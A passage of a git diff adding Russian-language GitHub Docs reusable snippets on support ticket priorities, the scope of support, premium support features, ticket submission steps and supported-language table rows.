variables.product.product_name %} напрямую. Сведения о том, как начать беседу, см. в разделе «[{% data variables.product.prodname_gcf %}](https://github.community)». diff --git a/translations/ru-RU/data/reusables/support/connect-in-the-forum-bootcamp.md b/translations/ru-RU/data/reusables/support/connect-in-the-forum-bootcamp.md new file mode 100644 index 000000000000..06fdc5584de3 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/connect-in-the-forum-bootcamp.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 468b8a157e7490ae7be4c42b5da0331ea5595041 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878501" +--- +У {% data variables.product.prodname_dotcom %} большое сообщество поддержки, где можно обратиться за помощью и поговорить с людьми со всего мира. Присоединиться к беседе можно в [{% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions). diff --git a/translations/ru-RU/data/reusables/support/data-protection-and-privacy.md b/translations/ru-RU/data/reusables/support/data-protection-and-privacy.md new file mode 100644 index 000000000000..178be9ac639b --- /dev/null +++ b/translations/ru-RU/data/reusables/support/data-protection-and-privacy.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c4ab6a9deea7bf6596f968de26f996392e3d689a +ms.sourcegitcommit: 2ecb6ba7d01b2bc9a44ad74a5953b98413216051 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: "148165364" +--- +Если используются предложения {% data variables.product.prodname_dotcom %} по поддержке, применяются условия вашего соглашения, [заявление о конфиденциальности GitHub](/free-pro-team@latest/github/site-policy/github-privacy-statement) и [соглашение о защите данных GitHub](/free-pro-team@latest/github/site-policy/github-data-protection-agreement). Под соглашением имется в виду ваше основное соглашение с нами, т. е. [корпоративные условия обслуживания GitHub](/free-pro-team@latest/github/site-policy/github-corporate-terms-of-service), [клиентское соглашение GitHub](https://github.com/customer-terms) или ваше [соглашение о корпоративном лицензировании Майкрософт](/free-pro-team@latest/github/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing). diff --git a/translations/ru-RU/data/reusables/support/enterprise-resolving-and-closing-tickets.md b/translations/ru-RU/data/reusables/support/enterprise-resolving-and-closing-tickets.md new file mode 100644 index 000000000000..d150b17757dd --- /dev/null +++ b/translations/ru-RU/data/reusables/support/enterprise-resolving-and-closing-tickets.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: eaad0d11cd3a86394c0ec4e547ed63dbcac7483f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069977" +--- +{% data variables.contact.enterprise_support %} может отметить запрос поддержки как выполненный после того, как предоставит вам объяснение, рекомендацию, инструкции по использованию, {% ifversion ghae %}или {% endif %} обходу проблемы{% ifversion ghes %} либо сообщит вам о существовании выпуска, который решает вашу проблему{% endif %}. + +{% ifversion ghes or ghae %} Если вы установили дополнительное стороннее программное обеспечение или внесли изменения в {% data variables.product.product_name %} в разрез с рекомендациями {% data variables.contact.enterprise_support %}, {% data variables.contact.enterprise_support %} может попросить вас удалить это программное обеспечение и (или) изменения на время решения вашей проблемы. Если удаление неподдерживаемого программного обеспечения или изменений приведут к решению проблему, {% data variables.contact.enterprise_support %} может отметить запрос поддержки как выполненный. +{% endif %} + +{% data variables.contact.enterprise_support %} может закрыть запрос, если он не входит в сферу ее компетенции либо служба поддержки несколько раз попыталась с вами связаться и не получила ответа. Если {% data variables.contact.enterprise_support %} закрывает запрос из-за отсутствия ответа, можно попросить {% data variables.contact.enterprise_support %} открыть его повторно. diff --git a/translations/ru-RU/data/reusables/support/entitlements-note.md b/translations/ru-RU/data/reusables/support/entitlements-note.md new file mode 100644 index 000000000000..46de45cd9f5a --- /dev/null +++ b/translations/ru-RU/data/reusables/support/entitlements-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 35ed9fffb50a66b6867f71bf0e7e579284b9ee5d +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109384" +--- +{% note %} + +**Примечание.** Для просмотра запросов, связанных с организацией или корпоративной учетной записью, необходимо иметь право на поддержку в рамках предприятия. Дополнительные сведения см. в разделе [Управление правами специалистов службы поддержки для вашего предприятия](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/support/free-and-paid-support.md b/translations/ru-RU/data/reusables/support/free-and-paid-support.md new file mode 100644 index 000000000000..f97ae16f36f8 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/free-and-paid-support.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d93ef0b1865694f935a8c4dff985e19d6f82cded +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145067457" +--- +Если ваша учетная запись использует платный продукт {% data variables.product.prodname_dotcom %} или вы являетесь членом организации, использующей платный продукт, вы можете обратиться в {% data variables.contact.github_support %} напрямую. Если ваша учетная запись использует {% data variables.product.prodname_free_user %}, вы можете обращаться к пользователям и сотрудникам {% data variables.product.prodname_dotcom %} в {% data variables.contact.community_support_forum %} по большинству вопросов и в {% data variables.contact.github_support %} для сообщения о проблемах с учетной записью, безопасностью и злоупотреблением. diff --git a/translations/ru-RU/data/reusables/support/ghae-priorities.md b/translations/ru-RU/data/reusables/support/ghae-priorities.md new file mode 100644 index 000000000000..db4ea41442a3 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/ghae-priorities.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 7e2e213cb4dfee1e19063a729652ecf8709c72a3 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145139822" +--- +| Приоритет | Описание | Примеры | +| :---: | --- | --- | +| {% data variables.product.support_ticket_priority_urgent %} — приоритет A | {% data variables.product.product_name %} недоступен или завершается сбоем, а сбой напрямую влияет на работу вашей компании.

_После отправки запроса в службу поддержки обратитесь в {% data variables.contact.github_support %} по телефону._ |
  • Ошибки или сбои, влияющие на основные функции Git или веб-приложения для всех пользователей
  • Серьезное ухудшение работы сети или снижение производительности для большинства пользователей
  • Полное или быстрое заполнение хранилища
  • Известные инциденты безопасности или нарушение доступа
| +| {% data variables.product.support_ticket_priority_high %} — приоритет B | {% data variables.product.product_name %} завершается сбоем в рабочей среде с ограниченным воздействием на бизнес-процессы или затрагивает только отдельных клиентов. |
  • Снижение производительности и, как следствие, эффективности для многих пользователей
  • Проблемы уменьшения избыточности из-за сбоев или снижения производительности служб
  • Ошибки, влияющие на рабочую среду
  • Проблемы безопасности конфигурации {% data variables.product.product_name %}
| +| {% data variables.product.support_ticket_priority_normal %} — приоритет C | В {% data variables.product.product_name %} имеют мето ограниченные или умеренные проблемы и ошибки с {% data variables.product.product_name %} либо у вас есть общие проблемы или вопросы по работе {% data variables.product.product_name %}. |
  • Рекомендации по использованию API и функций {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} либо вопросы по интеграции рабочих процессов
  • Проблемы с пользовательскими инструментами и методами сбора данных
  • Обновления
  • Отчеты об ошибках, вопросы по общей безопасности или другие вопросы, связанные с функциями
  • | +| {% data variables.product.support_ticket_priority_low %} — приоритет D| {% data variables.product.product_name %} работает должным образом, но у вас есть вопрос или предложение в отношении {% data variables.product.product_name %}, которые не требуют сиюминутного решения и не влияют на продуктивность вашей команды. |
    • Запросы функций и отзывы о продукте
    • Общие вопросы по конфигурации в целом или по использованию {% data variables.product.product_name %}
    • Уведомление {% data variables.contact.github_support %} о любых запланированных изменениях
    | diff --git a/translations/ru-RU/data/reusables/support/ghes-priorities.md b/translations/ru-RU/data/reusables/support/ghes-priorities.md new file mode 100644 index 000000000000..b6cf7761b6b4 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/ghes-priorities.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 801b42faa6e9a1bff269c1e4fcb0a5a2330717a4 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069976" +--- +| Приоритет | Описание | Примеры | +| :---: | --- | --- | +| {% data variables.product.support_ticket_priority_urgent %} | {% data variables.product.prodname_ghe_server %} завершается сбоем в рабочей среде, а сбой напрямую влияет на работу вашей компании.

    _{% data reusables.support.priority-urgent-english-only %}_ |
    • Ошибки или сбои, влияющие на основные функции Git или веб-приложения для всех пользователей
    • Серьезное снижение производительности для большинства пользователей
    • Полное или быстрое заполнение хранилища
    • Невозможность установки обновленного файла лицензии
    • Инцидент
    • Потеря административного доступа к экземпляру без известного обходного решения
    • Сбой при восстановлении резервной копии в рабочей среде
    | +| {% data variables.product.support_ticket_priority_high %} | {% data variables.product.prodname_ghe_server %} завершается сбоем в рабочей среде, но влияние на вашу компанию ограничено. |
    • Снижение производительности и, как следствие, эффективности для многих пользователей
    • Уменьшение избыточности в результате сбоя узлов высокой доступности (HA) или узлов кластера
    • Сбой резервного копирования экземпляра
    • Сбой восстановления резервной копии в тестовой или промежуточной среде, который может помешать успешному восстановлению в рабочей среде
    | +| {% data variables.product.support_ticket_priority_normal %} | У вас возникают ограниченные или умеренные проблемы с {% data variables.product.prodname_ghe_server %} либо у вас есть общие вопросы о работе вашего экземпляра. |
    • Проблемы в тестовой или промежуточной среде
    • Рекомендации по использованию API и функций {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} либо вопросы по настройте сторонних интеграций из вашего экземпляра
    • Проблемы с инструментами для миграции пользовательских данных, которые предоставляет {% data variables.product.company_short %}
    • Обновления
    • Сообщения об ошибках
    • Функции не работают так, как ожидалось
    • Вопросы по общей безопасности
    | +| {% data variables.product.support_ticket_priority_low %} | У вас есть вопрос или предложение в отношении {% data variables.product.prodname_ghe_server %}, которые не требуют сиюминутного решения и не влияют на продуктивность вашей команды. |
    • Запросы функций
    • Отзыв о продукте
    • Запросы на проверку работоспособности (доступны для клиентов с {% data variables.product.premium_support_plan %} только в настоящее время)
    • Уведомление {% data variables.product.company_short %} о плановом обслуживании вашего экземпляра
    | diff --git a/translations/ru-RU/data/reusables/support/github-can-modify-ticket-priority.md b/translations/ru-RU/data/reusables/support/github-can-modify-ticket-priority.md new file mode 100644 index 000000000000..ed65624b64c5 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/github-can-modify-ticket-priority.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 314368e93f019c48b70995f682f638479e95d12b +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145113056" +--- +Только {% data variables.product.company_short %} имеет право изменять приоритет билета в любое время и может снизить приоритет билета, определив и устранив основную причину проблемы. diff --git a/translations/ru-RU/data/reusables/support/help_resources.md b/translations/ru-RU/data/reusables/support/help_resources.md new file mode 100644 index 000000000000..ec7cfb395dc5 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/help_resources.md @@ -0,0 +1,7 @@ +For questions, bug reports, and discussions about {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, and API development, explore the {% data reusables.support.prodname_support_forum_with_url %}. The discussions are moderated and maintained by {% data variables.product.company_short %} staff, but questions posted to the forum are not guaranteed to receive a reply from {% data variables.product.company_short %} staff. + +Consider reaching out to [GitHub Support](https://support.github.com/) directly using the contact form for: + - guaranteed response from {% data variables.product.product_name %} staff + - support requests involving sensitive data or private concerns + - feature requests + - feedback about {% data variables.product.product_name %} products diff --git a/translations/ru-RU/data/reusables/support/navigate-to-my-tickets.md b/translations/ru-RU/data/reusables/support/navigate-to-my-tickets.md new file mode 100644 index 000000000000..0a7d499f4912 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/navigate-to-my-tickets.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: fb2826ec7adf7edcff710866d08654c7f94ab484 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108866" +--- +1. Зайдите на [портал поддержки GitHub](https://support.github.com/). +1. В заголовке щелкните **Мои запросы**. + + ![Снимок экрана: ссылка "Мои запросы" в заголовке портала поддержки GitHub.](/assets/images/help/support/my-tickets-header.png) diff --git a/translations/ru-RU/data/reusables/support/premium-support-features.md b/translations/ru-RU/data/reusables/support/premium-support-features.md new file mode 100644 index 000000000000..a052f6a3f4c0 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/premium-support-features.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: a160325e22bb22f4e80f5597bf3210e99af18515 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146682320" +--- +Помимо преимуществ {% data variables.contact.enterprise_support %} пользователи {% data variables.product.prodname_enterprise %} могут приобрести {% data variables.contact.premium_support %}, куда входят: + - Круглосуточная письменная поддержка на английском языке через портал поддержки + - Круглосуточная поддержка на английском языке по телефону через портал поддержки с использованием запросов обратного вызова + - Соглашение об уровне обслуживания с гарантированным начальным временем отклика + - Управление эскалацией + - Возможность эскалации обработки обращений на {% data variables.contact.enterprise_portal %} + - Выделенная группа координаторов инцидентов, которая согласовывает работу всех сторон {% data variables.product.company_short %}, участвующих в обработке срочных обращений + - Доступ к содержимому уровня "Премиум" + - Проверки работоспособности + - Помощь в обновлении приложений: перед обновлением {% data variables.product.prodname_ghe_server %} мы проверим ваши планы обновления, сборники схем и другую документацию, а также предоставим ответы на вопросы по вашей среде (только для {% data variables.product.premium_plus_support_plan %}) + - Часы технических консультаций (только {% data variables.product.premium_plus_support_plan %}) diff --git a/translations/ru-RU/data/reusables/support/priority-urgent-english-only.md b/translations/ru-RU/data/reusables/support/priority-urgent-english-only.md new file mode 100644 index 000000000000..96700c2dfd16 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/priority-urgent-english-only.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 622becb64fd3348235fbac285042fa83cfe1d4d2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134768" +--- +Поддержка запросов с приоритетом {% data variables.product.support_ticket_priority_urgent %} доступна только на английском языке. diff --git a/translations/ru-RU/data/reusables/support/prodname_support_forum_with_url.md b/translations/ru-RU/data/reusables/support/prodname_support_forum_with_url.md new file mode 100644 index 000000000000..353754995107 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/prodname_support_forum_with_url.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f4c5dd46698e409543d91b193833067e4fc71b9d +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107062" +--- +[Обсуждения API и интеграции в сообществе GitHub](https://github.com/orgs/community/discussions/categories/apis-and-integrations) diff --git a/translations/ru-RU/data/reusables/support/scope-of-support.md b/translations/ru-RU/data/reusables/support/scope-of-support.md new file mode 100644 index 000000000000..d81bc135298e --- /dev/null +++ b/translations/ru-RU/data/reusables/support/scope-of-support.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 4081194451ae681e3a8208cb0462bd7f7574c3ef +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145140710" +--- +Если ваш запрос на поддержку не входит в сферу компетенции нашей команды, рекомендуем выполнить следующие действия по устранению проблемы за пределами {% data variables.contact.github_support %}. Ваш запрос на поддержку может не входить в сферу компетенции команды {% data variables.contact.github_support %}, если он в основном касается следующего: +- Сторонние интеграции, такие как Jira{% ifversion ghes %} +- Настройка оборудования{% endif %} +- CI/CD, например Jenkins. +- Написание скриптов. +- Настройка внешних систем проверки подлинности, таких как поставщики удостоверений SAML. +- Проекты с открытым кодом{% ifversion ghes %} +- Проектирование кластера LGTM{% endif %} +- Написание или отладка новых запросов для {% data variables.product.prodname_codeql %} + +Если вы не знаете, входит ли ваша проблема в сферу компетенции нашей команды, создайте запрос в службу поддержки, и мы поможем вам определить оптимальный путь решения. diff --git a/translations/ru-RU/data/reusables/support/submit-a-ticket.md b/translations/ru-RU/data/reusables/support/submit-a-ticket.md new file mode 100644 index 000000000000..e9b27b7fc5e8 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/submit-a-ticket.md @@ -0,0 +1,45 @@ +1. Select the **Account or organization** dropdown menu and click the name of the account your support ticket is regarding. +![Screenshot of the "Account or organization" dropdown menu.](/assets/images/help/support/account-field.png) +1. Select the **From** drop-down menu and click the email address you'd like {% data variables.contact.github_support %} to contact. +![Screenshot of the "From" dropdown menu.](/assets/images/help/support/from-field.png) +{%- ifversion ghec or ghes %} +1. Select the **Product** dropdown menu and click {% ifversion ghes %}**GitHub Enterprise Server (self-hosted)**{% else %}**GitHub Enterprise Cloud**{% endif %}. +{% ifversion ghec %}![Screenshot of the "Product" dropdown menu.](/assets/images/help/support/product-field-ghec.png){% else %}![Screenshot of the "Product" dropdown menu.](/assets/images/help/support/product-field.png){% endif %} +{%- endif %} +{%- ifversion ghes %} +1. If prompted, select the **Server installation** dropdown menu and click the installation your support ticket is regarding. If the installation is not listed, click **Other**. +![Screenshot of the "Server Installation" dropdown menu](/assets/images/help/support/installation-field.png) +{%- endif %} +{%- ifversion ghes %} +1. Select the **Release series** dropdown menu and click the release {% data variables.location.product_location_enterprise %} is running. +![Screenshot of the "Release series" dropdown menu](/assets/images/help/support/release-field.png) +{%- endif %} +{%- ifversion ghes or ghec %} +1. Select the **Priority** dropdown menu and click the appropriate urgency. For more information, see "[About ticket priority](/support/learning-about-github-support/about-ticket-priority)." + ![Screenshot of the "Priority" dropdown menu.](/assets/images/help/support/priority-field.png) +{%- endif %} +{%- ifversion ghes %} + - Choose **{% data variables.product.support_ticket_priority_urgent %}** to report {% ifversion fpt or ghec %}critical system failure{% else %}fatal system failures, outages impacting critical system operations, security incidents, and expired licenses{% endif %}. + - Choose **{% data variables.product.support_ticket_priority_high %}** to report issues impacting business operations, including {% ifversion fpt or ghec %}removing sensitive data (commits, issues, pull requests, uploaded attachments) from your own accounts and organization restorations{% else %}system performance issues{% endif %}, or to report critical bugs. + - Choose **{% data variables.product.support_ticket_priority_normal %}** to {% ifversion fpt or ghec %}request account recovery or spam unflagging, report user login issues{% else %}make technical requests like configuration changes and third-party integrations{% endif %}, and to report non-critical bugs. + - Choose **{% data variables.product.support_ticket_priority_low %}** to ask general questions and submit requests for new features, purchases, training, or health checks. +{%- endif %} +{%- ifversion ghes or ghec %} +1. Optionally, if your account includes {% data variables.contact.premium_support %} and your ticket is {% ifversion ghes %}urgent or high{% elsif ghec %}high{% endif %} priority, you can request a callback in English. Select **Request a callback from GitHub Support**, select the country code dropdown menu to choose your country, and enter your phone number. +![Screenshot of the "Request callback" checkbox, "Country code" dropdown menu, and "Phone number" text box.](/assets/images/help/support/request-callback.png) +{%- endif %} +1. Under "Subject", type a descriptive title for the issue you're having. +![Screenshot of the "Subject" text box.](/assets/images/help/support/subject-field.png) +1. Under "How can we help", provide any additional information that will help the Support team troubleshoot the problem. You can use markdown to format your message. + ![Screenshot of the "How can we help" text area.](/assets/images/help/support/how-can-we-help-field.png) + Helpful information may include: + - Steps to reproduce the issue + - Any special circumstances surrounding the discovery of the issue (for example, the first occurrence or occurrence after a specific event, frequency of occurrence, business impact of the problem, and suggested urgency) + - Exact wording of error messages +{% indented_data_reference reusables.repositories.anyone-can-view-anonymized-url spaces=3 %} + +{%- ifversion ghes %} +1. Optionally, attach diagnostics files and other files by dragging and dropping, uploading, or pasting from the clipboard. +{%- endif %} +1. Click **Send request**. +![Screenshot of the "Send request" button.](/assets/images/help/support/send-request-button.png) diff --git a/translations/ru-RU/data/reusables/support/view-open-tickets.md b/translations/ru-RU/data/reusables/support/view-open-tickets.md new file mode 100644 index 000000000000..44a35e1037c4 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/view-open-tickets.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 99112ea1a854a693b779aec53f5d7bfca1ea9ec2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147051959" +--- +{% data reusables.support.navigate-to-my-tickets %} +1. Для просмотра билетов, связанных с учетной записью организации или корпоративной учетной записью, выберите раскрывающееся меню **Мои запросы**, а затем имя учетной записи организации или корпоративной учетной записи. + +{% indented_data_reference reusables.support.entitlements-note spaces=3 %} + + ![Снимок экрана: раскрывающееся меню "Мои запросы".](/assets/images/help/support/ticket-context.png) +1. В списке запросов щелкните тему запроса, который вы хотите просмотреть. +![Снимок экрана: список запросов в службу поддержки с выделенной темой.](/assets/images/help/support/my-tickets-list.png) diff --git a/translations/ru-RU/data/reusables/support/zendesk-old-tickets.md b/translations/ru-RU/data/reusables/support/zendesk-old-tickets.md new file mode 100644 index 000000000000..0ffe610f9cf1 --- /dev/null +++ b/translations/ru-RU/data/reusables/support/zendesk-old-tickets.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 7eb24cc7dc891adf5a51445356d010ca5a70dd64 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147051967" +--- +{% ifversion ghes %} {% note %} + +Если ранее вы связывались с {% data variables.contact.enterprise_support %} через портал поддержки GitHub Enterprise, то теперь этот путь не рекомендуется, и новые обращения следует создавать на портале {% data variables.contact.contact_support_portal %}. При этом все прошлые обращения останутся доступными по адресу: [https://enterprise.githubsupport.com](https://enterprise.githubsupport.com). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/C.md b/translations/ru-RU/data/reusables/supported-languages/C.md new file mode 100644 index 000000000000..77a301dce0b8 --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/C.md @@ -0,0 +1 @@ +| C {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/Cpp.md b/translations/ru-RU/data/reusables/supported-languages/Cpp.md new file mode 100644 index 000000000000..5a255a3ae3bc --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/Cpp.md @@ -0,0 +1 @@ +| C++ {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/Cs.md b/translations/ru-RU/data/reusables/supported-languages/Cs.md new file mode 100644 index 000000000000..dc5fa3e1e893 --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/Cs.md @@ -0,0 +1 @@ +| C# {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    `dotnet` CLI | {% octicon "check" aria-label="The check icon" %}
    `dotnet` CLI | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    `dotnet` CLI |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    `dotnet` CLI | {% octicon "check" aria-label="The check icon" %}
    `dotnet` CLI | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    `dotnet` CLI |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    `dotnet` CLI |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/go.md b/translations/ru-RU/data/reusables/supported-languages/go.md new file mode 100644 index 000000000000..2670d677bab9 --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/go.md @@ -0,0 +1 @@ +| Go {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    Go modules | {% octicon "check" aria-label="The check icon" %}
    Go modules | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    Go modules | {% octicon "check" aria-label="The check icon" %}
    Go modules | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/java.md b/translations/ru-RU/data/reusables/supported-languages/java.md new file mode 100644 index 000000000000..1a71da7cd3ed --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/java.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2e8ea634a95d2bca03b70aef430be7e638272605 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109455" +--- +| Java {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    Maven | {% octicon "check" aria-label="The check icon" %}
    Maven, Gradle | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    Maven, Gradle |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    Maven | {% octicon "check" aria-label="The check icon" %}
    Maven, Gradle | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    Maven, Gradle |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    Maven, Gradle |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/javascript.md b/translations/ru-RU/data/reusables/supported-languages/javascript.md new file mode 100644 index 000000000000..20fac7191894 --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/javascript.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9d072e402eca457ea6ebc803c1c56461d909e11a +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108872" +--- +| JavaScript {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    npm, Yarn | {% octicon "check" aria-label="The check icon" %}
    npm | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    npm |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    npm, Yarn | {% octicon "check" aria-label="The check icon" %}
    npm | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
